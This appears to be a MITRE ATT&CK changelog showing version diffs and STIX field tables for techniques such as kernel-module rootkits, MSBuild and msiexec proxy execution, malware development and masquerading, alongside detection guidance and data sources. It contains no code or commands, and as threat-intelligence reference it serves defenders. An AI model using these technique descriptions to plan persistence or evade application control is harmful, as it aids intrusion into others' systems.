| > | e (Ring 0). (Citation: Linux Kernel Module Programming Guide | > | e (Ring 0). (Citation: Linux Kernel Module Programming Guide | ||
| > | ) Common features of LKM based rootkits include: hiding itse | > | ) Common features of LKM based rootkits include: hiding itse | ||
| > | lf, selective hiding of files, processes and network activit | > | lf, selective hiding of files, processes and network activit | ||
| > | y, as well as log tampering, providing authenticated backdoo | > | y, as well as log tampering, providing authenticated backdoo | ||
| > | rs and enabling root access to non-privileged users. (Citati | > | rs and enabling root access to non-privileged users. (Citati | ||
| > | on: iDefense Rootkit Overview) Kernel extensions, also call | > | on: iDefense Rootkit Overview) Kernel extensions, also call | ||
| > | ed kext, are used for macOS to load functionality onto a sys | > | ed kext, are used for macOS to load functionality onto a sys | ||
| > | tem similar to LKMs for Linux. They are loaded and unloaded | > | tem similar to LKMs for Linux. They are loaded and unloaded | ||
| > | through <code>kextload</code> and <code>kextunload</code> co | > | through <code>kextload</code> and <code>kextunload</code> co | ||
| > | mmands. Adversaries can use LKMs and kexts to covertly pers | > | mmands. Since macOS Catalina 10.15, kernel extensions have b | ||
| > | ist on a system and elevate privileges. Examples have been f | > | een deprecated on macOS systems.(Citation: Apple Kernel Exte | ||
| > | ound in the wild and there are some open source projects. (C | > | nsion Deprecation) Adversaries can use LKMs and kexts to co | ||
| > | itation: Volatility Phalanx2) (Citation: CrowdStrike Linux R | > | vertly persist on a system and elevate privileges. Examples | ||
| > | ootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorp | > | have been found in the wild and there are some open source p | ||
| > | hine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Cit | > | rojects. (Citation: Volatility Phalanx2) (Citation: CrowdStr | ||
| > | ation: Synack Secure Kernel Extension Broken)(Citation: Secu | > | ike Linux Rootkit) (Citation: GitHub Reptile) (Citation: Git | ||
| > | relist Ventir) (Citation: Trend Micro Skidmap) | > | Hub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick W | ||
| > | ardle) (Citation: Synack Secure Kernel Extension Broken)(Cit | ||||
| > | ation: Securelist Ventir) (Citation: Trend Micro Skidmap) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-30 21:23:15.188000+00:00 | 2021-03-30 00:59:53.716000+00:00 |
| description | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)
When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands.
Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap) | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)
When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)
Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap) |
| external_references[4]['source_name'] | Volatility Phalanx2 | Apple Kernel Extension Deprecation |
| external_references[4]['description'] | Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018. | Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020. |
| external_references[4]['url'] | https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html | https://developer.apple.com/support/kernel-extensions/ |
| external_references[5]['source_name'] | CrowdStrike Linux Rootkit | Volatility Phalanx2 |
| external_references[5]['description'] | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. | Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018. |
| external_references[5]['url'] | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ | https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html |
| external_references[6]['source_name'] | GitHub Reptile | CrowdStrike Linux Rootkit |
| external_references[6]['description'] | Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. |
| external_references[6]['url'] | https://github.com/f0rb1dd3n/Reptile | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ |
| external_references[7]['source_name'] | GitHub Diamorphine | GitHub Reptile |
| external_references[7]['description'] | Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. | Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. |
| external_references[7]['url'] | https://github.com/m0nad/Diamorphine | https://github.com/f0rb1dd3n/Reptile |
| external_references[8]['source_name'] | RSAC 2015 San Francisco Patrick Wardle | GitHub Diamorphine |
| external_references[8]['description'] | Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018. | Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. |
| external_references[8]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://github.com/m0nad/Diamorphine |
| external_references[9]['source_name'] | Synack Secure Kernel Extension Broken | RSAC 2015 San Francisco Patrick Wardle |
| external_references[9]['description'] | Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018. | Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018. |
| external_references[9]['url'] | https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| external_references[10]['source_name'] | Securelist Ventir | Synack Secure Kernel Extension Broken |
| external_references[10]['description'] | Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018. | Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018. |
| external_references[10]['url'] | https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ | https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ |
| external_references[11]['source_name'] | Trend Micro Skidmap | Securelist Ventir |
| external_references[11]['description'] | Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020. | Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018. |
| external_references[11]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ | https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ |
| external_references[12]['source_name'] | Linux Loadable Kernel Module Insert and Remove LKMs | Trend Micro Skidmap |
| external_references[12]['description'] | Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. | Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020. |
| external_references[12]['url'] | http://tldp.org/HOWTO/Module-HOWTO/x197.html | https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ |
| external_references[13]['source_name'] | Wikipedia Loadable Kernel Module | Linux Loadable Kernel Module Insert and Remove LKMs |
| external_references[13]['description'] | Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018. | Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. |
| external_references[13]['url'] | https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux | http://tldp.org/HOWTO/Module-HOWTO/x197.html |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Wikipedia Loadable Kernel Module', 'description': 'Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.', 'url': 'https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux'} | |
| x_mitre_contributors | Wayne Silva, F-Secure Countercept | |
| x_mitre_data_sources | Kernel: Kernel Module Load |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniel Stepanic, Elastic'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 19:39:59.544000+00:00 | 2021-04-13 21:39:08.728000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Access |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 21:48:41.083000+00:00 | 2021-04-05 12:51:00.663000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Logon Session: Logon Session Creation | |
| x_mitre_platforms | Containers |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use MSBuild to proxy execution of code throu | t | 1 | Adversaries may use MSBuild to proxy execution of code throu |
| > | gh a trusted Windows utility. MSBuild.exe (Microsoft Build E | > | gh a trusted Windows utility. MSBuild.exe (Microsoft Build E | ||
| > | ngine) is a software build platform used by Visual Studio. I | > | ngine) is a software build platform used by Visual Studio. I | ||
| > | t handles XML formatted project files that define requiremen | > | t handles XML formatted project files that define requiremen | ||
| > | ts for loading and building various platforms and configurat | > | ts for loading and building various platforms and configurat | ||
| > | ions.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild | > | ions.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild | ||
| > | to proxy execution of malicious code. The inline task capab | > | to proxy execution of malicious code. The inline task capab | ||
| > | ility of MSBuild that was introduced in .NET version 4 allow | > | ility of MSBuild that was introduced in .NET version 4 allow | ||
| > | s for C# code to be inserted into an XML project file.(Citat | > | s for C# or Visual Basic code to be inserted into an XML pro | ||
| > | ion: MSDN MSBuild) MSBuild will compile and execute the inli | > | ject file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBui | ||
| > | ne task. MSBuild.exe is a signed Microsoft binary, so when i | > | ld Inline Tasks 2017) MSBuild will compile and execute the i | ||
| > | t is used this way it can execute arbitrary code and bypass | > | nline task. MSBuild.exe is a signed Microsoft binary, so whe | ||
| > | application control defenses that are configured to allow MS | > | n it is used this way it can execute arbitrary code and bypa | ||
| > | Build.exe execution.(Citation: LOLBAS Msbuild) | > | ss application control defenses that are configured to allow | ||
| > | MSBuild.exe execution.(Citation: LOLBAS Msbuild) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Carrie Roberts, @OrOneEqualsOne'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:29:28.074000+00:00 | 2021-03-05 22:25:48.777000+00:00 |
| description | Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into an XML project file.(Citation: MSDN MSBuild) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild) | Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild) |
| external_references[2]['source_name'] | LOLBAS Msbuild | Microsoft MSBuild Inline Tasks 2017 |
| external_references[2]['description'] | LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019. | Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021. |
| external_references[2]['url'] | https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ | https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'LOLBAS Msbuild', 'description': 'LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Msbuild/'} | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may develop malwar | t | 1 | Adversaries may develop malware and malware components that |
| > | e and malware components that can be used during targeting. | > | can be used during targeting. Building malicious software ca | ||
| > | Building malicious software can include the development of p | > | n include the development of payloads, droppers, post-compro | ||
| > | ayloads, droppers, post-compromise tools, backdoors, packers | > | mise tools, backdoors (including backdoored images), packers | ||
| > | , C2 protocols, and the creation of infected removable media | > | , C2 protocols, and the creation of infected removable media | ||
| > | . Adversaries may develop malware to support their operation | > | . Adversaries may develop malware to support their operation | ||
| > | s, creating a means for maintaining control of remote machin | > | s, creating a means for maintaining control of remote machin | ||
| > | es, evading defenses, and executing post-compromise behavior | > | es, evading defenses, and executing post-compromise behavior | ||
| > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | ||
| > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As | > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As | ||
| > | with legitimate development efforts, different skill sets m | > | with legitimate development efforts, different skill sets m | ||
| > | ay be required for developing malware. The skills needed may | > | ay be required for developing malware. The skills needed may | ||
| > | be located in-house, or may need to be contracted out. Use | > | be located in-house, or may need to be contracted out. Use | ||
| > | of a contractor may be considered an extension of that adver | > | of a contractor may be considered an extension of that adver | ||
| > | sary's malware development capabilities, provided the advers | > | sary's malware development capabilities, provided the advers | ||
| > | ary plays a role in shaping requirements and maintains a deg | > | ary plays a role in shaping requirements and maintains a deg | ||
| > | ree of exclusivity to the malware. Some aspects of malware | > | ree of exclusivity to the malware. Some aspects of malware | ||
| > | development, such as C2 protocol development, may require ad | > | development, such as C2 protocol development, may require ad | ||
| > | versaries to obtain additional infrastructure. For example, | > | versaries to obtain additional infrastructure. For example, | ||
| > | malware developed that will communicate with Twitter for C2, | > | malware developed that will communicate with Twitter for C2, | ||
| > | may require use of [Web Services](https://attack.mitre.org/ | > | may require use of [Web Services](https://attack.mitre.org/ | ||
| > | techniques/T1583/006).(Citation: FireEye APT29) | > | techniques/T1583/006).(Citation: FireEye APT29) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 13:05:43.492000+00:00 | 2021-04-15 03:08:33.165000+00:00 |
| description | Before compromising a victim, adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors, packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) | Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 13:54:28.727000+00:00 | 2021-04-24 13:24:45.840000+00:00 |
| external_references[3]['source_name'] | Endgame Masquerade Ball | Elastic Masquerade Ball |
| x_mitre_data_sources[0] | Process command-line parameters | Image: Image Metadata |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Service: Service Metadata |
| x_mitre_data_sources[3] | Binary file metadata | Service: Service Creation |
| x_mitre_detection | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”. | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”. |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Scheduled Job: Scheduled Job Metadata | |
| x_mitre_data_sources | Scheduled Job: Scheduled Job Modification | |
| x_mitre_data_sources | File: File Metadata | |
| x_mitre_data_sources | Process: Process Metadata | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_platforms | Containers |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may match or approximate the name or location of | t | 1 | Adversaries may match or approximate the name or location of |
| > | legitimate files when naming/placing their files. This is d | > | legitimate files or resources when naming/placing them. Thi | ||
| > | one for the sake of evading defenses and observation. This m | > | s is done for the sake of evading defenses and observation. | ||
| > | ay be done by placing an executable in a commonly trusted di | > | This may be done by placing an executable in a commonly trus | ||
| > | rectory (ex: under System32) or giving it the name of a legi | > | ted directory (ex: under System32) or giving it the name of | ||
| > | timate, trusted program (ex: svchost.exe). Alternatively, th | > | a legitimate, trusted program (ex: svchost.exe). In containe | ||
| > | e filename given may be a close approximation of legitimate | > | rized environments, this may also be done by creating a reso | ||
| > | programs or something innocuous. Adversaries may also use t | > | urce in a namespace that matches the naming convention of a | ||
| > | he same icon of the file they are trying to mimic. | > | container pod or cluster. Alternatively, a file or container | ||
| > | image name given may be a close approximation to legitimate | ||||
| > | programs/images or something innocuous. Adversaries may al | ||||
| > | so use the same icon of the file they are trying to mimic. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:11:45.970000+00:00 | 2021-04-20 19:23:37.762000+00:00 |
| description | Adversaries may match or approximate the name or location of legitimate files when naming/placing their files. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. Adversaries may also use the same icon of the file they are trying to mimic. | Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. Adversaries may also use the same icon of the file they are trying to mimic. |
| external_references[2]['source_name'] | Endgame Masquerade Ball | Elastic Masquerade Ball |
| x_mitre_data_sources[0] | File monitoring | Image: Image Metadata |
| x_mitre_data_sources[1] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Metadata |
| x_mitre_detection | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Docker Images', 'description': 'Docker. (n.d.). Docker Images. Retrieved April 6, 2021.', 'url': 'https://docs.docker.com/engine/reference/commandline/images/'} | |
| x_mitre_platforms | Containers |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:55:23.798000+00:00 | 2021-04-20 14:51:01.759000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Instance: Instance Stop |
| x_mitre_data_sources[1] | GCP audit logs | Instance: Instance Start |
| x_mitre_data_sources[2] | Azure activity logs | Instance: Instance Creation |
| x_mitre_data_sources[3] | AWS CloudTrail logs | Instance: Instance Modification |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Instance: Instance Deletion | |
| x_mitre_data_sources | Snapshot: Snapshot Creation | |
| x_mitre_data_sources | Snapshot: Snapshot Modification | |
| x_mitre_data_sources | Snapshot: Snapshot Deletion | |
| x_mitre_data_sources | Volume: Volume Creation | |
| x_mitre_data_sources | Volume: Volume Modification | |
| x_mitre_data_sources | Volume: Volume Deletion |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse msiexec.exe to proxy execution of mali | t | 1 | Adversaries may abuse msiexec.exe to proxy execution of mali |
| > | cious payloads. Msiexec.exe is the command-line utility for | > | cious payloads. Msiexec.exe is the command-line utility for | ||
| > | the Windows Installer and is thus commonly associated with e | > | the Windows Installer and is thus commonly associated with e | ||
| > | xecuting installation packages (.msi).(Citation: Microsoft m | > | xecuting installation packages (.msi).(Citation: Microsoft m | ||
| > | siexec) Msiexec.exe is digitally signed by Microsoft. Adver | > | siexec) Msiexec.exe is digitally signed by Microsoft. Adver | ||
| > | saries may abuse msiexec.exe to launch local or network acce | > | saries may abuse msiexec.exe to launch local or network acce | ||
| > | ssible MSI files. Msiexec.exe can also execute DLLs.(Citatio | > | ssible MSI files. Msiexec.exe can also execute DLLs.(Citatio | ||
| > | n: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Si | > | n: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Si | ||
| > | nce it is signed and native on Windows systems, msiexec.exe | > | nce it is signed and native on Windows systems, msiexec.exe | ||
| > | can be used to bypass application control solutions that do | > | can be used to bypass application control solutions that do | ||
